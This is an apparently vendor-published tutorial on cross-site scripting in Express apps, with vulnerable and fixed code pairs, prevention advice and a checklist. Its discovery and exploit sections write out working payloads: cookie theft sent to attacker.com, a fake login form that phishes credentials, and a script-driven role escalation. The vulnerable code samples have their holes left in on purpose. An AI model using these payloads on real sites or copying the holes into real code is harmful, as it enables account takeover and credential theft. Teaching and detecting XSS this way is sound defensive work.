Cross Site Scripting (XSS)

XSSScript InjectionTemplate XSSDOM XSS

Cross Site Scripting (XSS) at a glance

What it is: Untrusted content ends up in a browser in an executable context, which lets attackers run JavaScript in a user's session.
Why it happens: XSS vulnerabilities arise when untrusted input from queries, forms, or integrations reaches unsafe outputs like templates, attributes, event handlers, or client-side rendering without proper sanitization.
How to fix: Encode output for the correct context, keep template autoescaping enabled, and sanitize any rendered HTML with a minimal, trusted allowlist.

Overview

XSS happens when untrusted data is placed in a page without proper output encoding or sanitization. It can be reflected in the response to a request, stored in a database and served later, or introduced via client side DOM manipulation. Templating helpers that disable escaping and DOM APIs that bypass frameworks' protections are frequent culprits.

sequenceDiagram participant Browser participant App as App Server Browser->>App: GET /search?q=<script>alert(1)</script> App-->>Browser: HTML contains unescaped q Browser-->>Browser: Executes attacker script
A potential flow for a Cross Site Scripting (XSS) exploit

Where it occurs

It occurs when untrusted input from queries, forms, CMS content, or integrations flows into unsafe outputs like templates, attributes, event handlers, or client-side rendering functions.

Impact

Attackers can steal sessions, read or alter sensitive data, pivot to CSRF attacks, or install keyloggers and web skimmers. In multi-tenant apps, a stored XSS can compromise every user that views the page.

Prevention

Prevent XSS by keeping template autoescaping enabled, encoding output per context, sanitizing rich HTML with strict allowlists, enforcing a nonce-based CSP, avoiding inline handlers, and never using raw HTML without sanitization.

Examples

Switch tabs to view language/framework variants.

Express, reflected XSS via unescaped query param

The server echoes req.query.q directly into HTML without escaping.

Vulnerable
JavaScript • Express — Bad
const express = require('express');
const app = express();
app.get('/search', (req, res) => {
  const q = req.query.q || '';
  // BUG: direct interpolation into HTML
  res.type('html').send(`<h1>Results for: ${q}</h1>`);
});
  • Line 6: Unescaped user input lands in HTML context

Placing raw input into an HTML context lets attackers inject script tags or event handlers that run in the user's browser.

Secure
JavaScript • Express — Good
const express = require('express');
const he = require('he');
const app = express();
app.get('/search', (req, res) => {
  const q = String(req.query.q || '');
  const safe = he.encode(q, { useNamedReferences: true });
  res.type('html').send(`<h1>Results for: ${safe}</h1>`);
});
  • Line 6: HTML encode before insertion

Encoding converts special characters into harmless entities, removing the ability to break out of the context.

Engineer Checklist

  • Keep template autoescaping on, never use raw/safe for user input

  • Encode for context: HTML, attribute, URL, JS string

  • Sanitize rich HTML with a tiny allow list, strip everything else

  • Avoid dangerouslySetInnerHTML unless input is sanitized

  • Add a strict CSP with nonces to reduce impact

End-to-End Example

An Express search route reflects the q parameter into HTML. Attackers craft a link that injects a script. Users who click the link run the attacker's code in their session.

Vulnerable
JAVASCRIPT
// Node.js/Express - Vulnerable to XSS

// VULNERABLE: Reflected XSS in search results
app.get('/search', (req, res) => {
  const q = req.query.q || '';
  
  // VULNERABLE: Directly inserting user input into HTML!
  // Attacker sends: ?q=<script>alert(document.cookie)</script>
  // Browser executes the script in victim's context
  res.type('html').send(`<h1>Results for: ${q}</h1>`);
});

// VULNERABLE: XSS in HTML attribute
app.get('/profile', async (req, res) => {
  const user = await User.findById(req.session.userId);
  
  // VULNERABLE: User-controlled data in attribute without encoding
  // User sets name to: " onload="alert(document.cookie)
  // Results in: <img src="avatar.jpg" alt="" onload="alert(document.cookie)">
  const html = `
    <html>
      <body>
        <h1>Welcome!</h1>
        <img src="avatar.jpg" alt="${user.name}">
        <p>Bio: ${user.bio}</p>
      </body>
    </html>
  `;
  res.type('html').send(html);
});

// VULNERABLE: Stored XSS in comments
app.post('/api/comments', authenticateSession, async (req, res) => {
  const { text } = req.body;
  
  // VULNERABLE: Storing unsanitized HTML from user
  await Comment.create({
    userId: req.session.userId,
    text: text  // No sanitization!
  });
  
  res.json({ message: 'Comment posted' });
});

app.get('/api/comments', async (req, res) => {
  const comments = await Comment.findAll();
  
  // VULNERABLE: Rendering stored user content without escaping
  // If a comment contains <script>...</script>, it executes for all viewers!
  let html = '<div class="comments">';
  for (const comment of comments) {
    html += `<div class="comment">${comment.text}</div>`;
  }
  html += '</div>';
  
  res.type('html').send(html);
});

// VULNERABLE: DOM-based XSS via URL fragment
app.get('/dashboard', (req, res) => {
  // VULNERABLE: Passes URL fragment to client-side JS
  const html = `
    <html>
      <head>
        <script>
          // VULNERABLE: Reading from location.hash and inserting into DOM
          window.onload = function() {
            const message = window.location.hash.substring(1);
            document.getElementById('message').innerHTML = message;
          };
        </script>
      </head>
      <body>
        <div id="message"></div>
      </body>
    </html>
  `;
  res.type('html').send(html);
});

// VULNERABLE: XSS in JavaScript context
app.get('/settings', async (req, res) => {
  const user = await User.findById(req.session.userId);
  
  // VULNERABLE: Injecting user data directly into <script> tag
  // User sets preferences to: "; alert(document.cookie); //
  // Results in: var prefs = ""; alert(document.cookie); //";
  const html = `
    <html>
      <head>
        <script>
          var userName = "${user.name}";
          var preferences = "${user.preferences}";
          console.log('User: ' + userName);
        </script>
      </head>
      <body>
        <h1>Settings</h1>
      </body>
    </html>
  `;
  res.type('html').send(html);
});

// VULNERABLE: XSS via redirect parameter
app.get('/login', (req, res) => {
  const next = req.query.next || '/dashboard';
  
  // VULNERABLE: Using user input in href attribute
  // Attacker sends: ?next=javascript:alert(document.cookie)
  const html = `
    <html>
      <body>
        <form action="/do-login" method="POST">
          <input name="email" type="email" />
          <input name="password" type="password" />
          <input name="next" type="hidden" value="${next}" />
          <button>Login</button>
        </form>
        <p><a href="${next}">Go back</a></p>
      </body>
    </html>
  `;
  res.type('html').send(html);
});

// VULNERABLE: JSON endpoint with HTML content-type
app.get('/api/user-data', async (req, res) => {
  const user = await User.findById(req.query.id);
  
  // VULNERABLE: Returning JSON with text/html content-type
  // Browser interprets as HTML, scripts can execute
  res.type('html');
  res.send(JSON.stringify({
    name: user.name,  // If name contains <script>, it executes!
    bio: user.bio
  }));
});

// VULNERABLE: React dangerouslySetInnerHTML without sanitization
app.get('/blog/:id', async (req, res) => {
  const post = await BlogPost.findById(req.params.id);
  
  // VULNERABLE: Serving unsanitized HTML to React component
  const html = `
    <html>
      <body>
        <div id="root"></div>
        <script>
          const postContent = ${JSON.stringify(post.content)};
          // React component uses dangerouslySetInnerHTML with this data
          // If post.content has <img src=x onerror=alert(1)>, it executes
        </script>
      </body>
    </html>
  `;
  res.type('html').send(html);
});
Secure
JAVASCRIPT
// Node.js/Express - Secure XSS prevention

const he = require('he');  // HTML entity encoder
const DOMPurify = require('isomorphic-dompurify');  // HTML sanitizer

// SECURE: Reflected XSS prevention with HTML encoding
app.get('/search', (req, res) => {
  const q = String(req.query.q || '');
  
  // SECURE: HTML-encode user input before inserting
  // Converts < to &lt;, > to &gt;, etc.
  const safe = he.encode(q, { useNamedReferences: true });
  
  res.type('html').send(`<h1>Results for: ${safe}</h1>`);
});

// SECURE: XSS prevention in attributes with proper encoding
app.get('/profile', async (req, res) => {
  const user = await User.findById(req.session.userId);
  
  // SECURE: Use template engine with auto-escaping (e.g., EJS, Pug)
  // Or manually encode for HTML context
  const safeName = he.encode(user.name);
  const safeBio = he.encode(user.bio);
  
  const html = `
    <html>
      <body>
        <h1>Welcome!</h1>
        <img src="avatar.jpg" alt="${safeName}">
        <p>Bio: ${safeBio}</p>
      </body>
    </html>
  `;
  res.type('html').send(html);
});

// SECURE: Better approach - use template engine
const ejs = require('ejs');

app.get('/profile-safe', async (req, res) => {
  const user = await User.findById(req.session.userId);
  
  // SECURE: EJS auto-escapes by default with <%= %>
  const html = ejs.render(`
    <html>
      <body>
        <h1>Welcome!</h1>
        <img src="avatar.jpg" alt="<%= name %>">
        <p>Bio: <%= bio %></p>
      </body>
    </html>
  `, { name: user.name, bio: user.bio });
  
  res.type('html').send(html);
});

// SECURE: Stored XSS prevention with sanitization
app.post('/api/comments', authenticateSession, async (req, res) => {
  let { text } = req.body;
  
  // SECURE: Validate input
  if (!text || text.length > 5000) {
    return res.status(400).json({ error: 'Invalid comment' });
  }
  
  // SECURE: Sanitize HTML - allow only safe tags
  const cleanText = DOMPurify.sanitize(text, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href'],
    ALLOW_DATA_ATTR: false
  });
  
  await Comment.create({
    userId: req.session.userId,
    text: cleanText  // Store sanitized version
  });
  
  res.json({ message: 'Comment posted' });
});

app.get('/api/comments', async (req, res) => {
  const comments = await Comment.findAll();
  
  // SECURE: Even though we sanitized on input, still encode on output
  let html = '<div class="comments">';
  for (const comment of comments) {
    const safeText = he.encode(comment.text);
    html += `<div class="comment">${safeText}</div>`;
  }
  html += '</div>';
  
  res.type('html').send(html);
});

// SECURE: DOM-based XSS prevention
app.get('/dashboard', (req, res) => {
  const html = `
    <html>
      <head>
        <script>
          window.onload = function() {
            const message = window.location.hash.substring(1);
            
            // SECURE: Use textContent instead of innerHTML
            // This treats input as text, not HTML
            document.getElementById('message').textContent = message;
          };
        </script>
      </head>
      <body>
        <div id="message"></div>
      </body>
    </html>
  `;
  res.type('html').send(html);
});

// SECURE: XSS prevention in JavaScript context
app.get('/settings', async (req, res) => {
  const user = await User.findById(req.session.userId);
  
  // SECURE: JSON.stringify with proper escaping
  // Escapes quotes, backslashes, and HTML special chars
  const safeName = JSON.stringify(user.name);
  const safePrefs = JSON.stringify(user.preferences);
  
  const html = `
    <html>
      <head>
        <script>
          // SECURE: Values are properly escaped for JavaScript
          var userName = ${safeName};
          var preferences = ${safePrefs};
          console.log('User: ' + userName);
        </script>
      </head>
      <body>
        <h1>Settings</h1>
      </body>
    </html>
  `;
  res.type('html').send(html);
});

// SECURE: XSS prevention in redirect parameter
app.get('/login', (req, res) => {
  const next = req.query.next || '/dashboard';
  
  // SECURE: Validate redirect URL against allow-list
  const ALLOWED_REDIRECTS = ['/dashboard', '/profile', '/settings'];
  const safeNext = ALLOWED_REDIRECTS.includes(next) ? next : '/dashboard';
  
  // SECURE: HTML-encode even validated URLs
  const encodedNext = he.encode(safeNext);
  
  const html = `
    <html>
      <body>
        <form action="/do-login" method="POST">
          <input name="email" type="email" />
          <input name="password" type="password" />
          <input name="next" type="hidden" value="${encodedNext}" />
          <button>Login</button>
        </form>
        <p><a href="${encodedNext}">Go back</a></p>
      </body>
    </html>
  `;
  res.type('html').send(html);
});

// SECURE: JSON endpoint with correct content-type
app.get('/api/user-data', async (req, res) => {
  const user = await User.findById(req.query.id);
  
  // SECURE: Use proper JSON content-type
  // Browser won't execute scripts in JSON responses
  res.type('application/json');
  res.json({
    name: user.name,
    bio: user.bio
  });
});

// SECURE: Content Security Policy
app.use((req, res, next) => {
  // SECURE: CSP prevents inline scripts and restricts sources
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; " +
    "script-src 'self' 'nonce-${nonce}'; " +  // Only allow scripts with nonce
    "style-src 'self' 'unsafe-inline'; " +
    "img-src 'self' data: https:; " +
    "object-src 'none'; " +
    "base-uri 'self'"
  );
  next();
});

// SECURE: React with proper sanitization
app.get('/blog/:id', async (req, res) => {
  const post = await BlogPost.findById(req.params.id);
  
  // SECURE: Sanitize rich content before storing
  const sanitizedContent = DOMPurify.sanitize(post.content, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'h1', 'h2', 'h3', 'ul', 'ol', 'li', 'a', 'img'],
    ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
    ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i
  });
  
  const html = `
    <html>
      <body>
        <div id="root"></div>
        <script>
          // SECURE: Content is pre-sanitized
          const postContent = ${JSON.stringify(sanitizedContent)};
          // React can safely use dangerouslySetInnerHTML with sanitized content
        </script>
      </body>
    </html>
  `;
  res.type('html').send(html);
});

// SECURE: Using a modern framework (React, Vue, Angular)
// These frameworks automatically escape by default
app.get('/modern-app', (req, res) => {
  const html = `
    <html>
      <body>
        <div id="root"></div>
        <script>
          // React example - automatic XSS protection
          function SearchResults({ query }) {
            // SECURE: React escapes {query} automatically
            return <h1>Results for: {query}</h1>;
          }
        </script>
      </body>
    </html>
  `;
  res.send(html);
});

Discovery

Test if user input is reflected in HTML output without proper encoding. Start with benign probes, then test for script execution contexts.

  1. 1. Test input reflection

    http

    Action

    Submit alphanumeric test string to confirm reflection in page

    Request

    GET https://app.example.com/search?q=TESTXSS123

    Response

    Status: 200
    Body:
    {
      "html": "<div class='search-results'>\\n  <h2>Results for: TESTXSS123</h2>\\n  <p>No results found for 'TESTXSS123'</p>\\n</div>"
    }

    Artifacts

    input_reflected html_context
  2. 2. Test for basic XSS

    http

    Action

    Inject script tag to test for XSS vulnerability

    Request

    GET https://app.example.com/search?q=<script>alert(1)</script>

    Response

    Status: 200
    Body:
    {
      "html": "<div class='search-results'>\\n  <h2>Results for: <script>alert(1)</script></h2>\\n  <p>No results found for '<script>alert(1)</script>'</p>\\n</div>",
      "note": "Script executes in browser - alert(1) popup appears"
    }

    Artifacts

    xss_confirmed script_execution no_encoding
  3. 3. Test attribute context XSS

    http

    Action

    Test if input appears in HTML attributes for event handler injection

    Request

    GET https://app.example.com/search?q=\" onload=\"alert(document.cookie)

    Response

    Status: 200
    Body:
    {
      "html": "<input type='text' value='\\\" onload=\\\"alert(document.cookie)' class='search-box'>\\n<div>Searching for: \\\" onload=\\\"alert(document.cookie)</div>",
      "note": "Event handler injected into value attribute"
    }

    Artifacts

    attribute_context_xss event_handler_injection cookie_access

Exploit steps

Attacker injects malicious JavaScript to steal session cookies, redirect users to phishing sites, or perform actions on behalf of victims.

  1. 1. Steal session cookies

    Cookie theft via XSS

    http

    Action

    Inject script to exfiltrate session cookies to attacker-controlled server

    Request

    GET https://app.example.com/search?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

    Response

    Status: 200
    Body:
    {
      "html": "<h2>Results for: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script></h2>",
      "note": "Victim's browser executes script, sends cookies to attacker",
      "cookies_stolen": "session_id=abc123xyz789; user_id=42; auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
    }

    Artifacts

    session_cookie_theft auth_token_stolen session_hijacking
  2. 2. Phishing attack via DOM manipulation

    Inject fake login form

    http

    Action

    Replace page content with fake login form to capture credentials

    Request

    GET https://app.example.com/search?q=<script>document.body.innerHTML='<h1>Session Expired</h1><form action=https://attacker.com/phish><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Login</button></form>'</script>

    Response

    Status: 200
    Body:
    {
      "note": "Page content replaced with fake login form. Victim enters credentials: alice@company.com / P@ssw0rd123. POST sent to https://attacker.com/phish with user=alice@company.com&pass=P@ssw0rd123"
    }

    Artifacts

    phishing_form credential_theft dom_manipulation
  3. 3. Perform unauthorized actions

    CSRF via XSS

    http

    Action

    Use XSS to make authenticated requests on victim's behalf

    Request

    GET https://app.example.com/search?q=<script>fetch('/api/users/42/role',{method:'PUT',body:JSON.stringify({role:'admin'}),headers:{'Content-Type':'application/json'}})</script>

    Response

    Status: 200
    Body:
    {
      "note": "Victim's browser makes authenticated PUT /api/users/42/role with body {role:'admin'}. API returns {success:true, user_id:42, new_role:'admin'}. Victim's account escalated to admin."
    }

    Artifacts

    privilege_escalation unauthorized_api_call account_compromise

Specific Impact

Attackers steal session cookies, read CSRF tokens, and act as victims. In admin panels, this can lead to full tenant compromise.

Stored variants spread to every viewer, enabling worm-like propagation and large scale data exposure.

Fix

Encoding for HTML context prevents injection. Add a CSP with nonces to reduce impact if a bypass appears elsewhere.

Detect This Vulnerability in Your Code

Sourcery automatically identifies cross site scripting (xss) vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free